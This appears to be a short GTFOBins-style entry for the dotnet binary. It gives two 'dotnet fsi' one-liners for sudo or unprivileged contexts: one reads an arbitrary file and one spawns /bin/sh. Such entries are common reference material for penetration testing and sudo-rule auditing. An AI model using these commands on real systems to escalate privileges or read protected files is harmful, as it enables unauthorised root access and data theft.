dotnet

File Read

Context: sudo, unprivileged

dotnet fsi
System.IO.File.ReadAllText("/path/to/input-file");;

Shell

Context: sudo, unprivileged

dotnet fsi
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;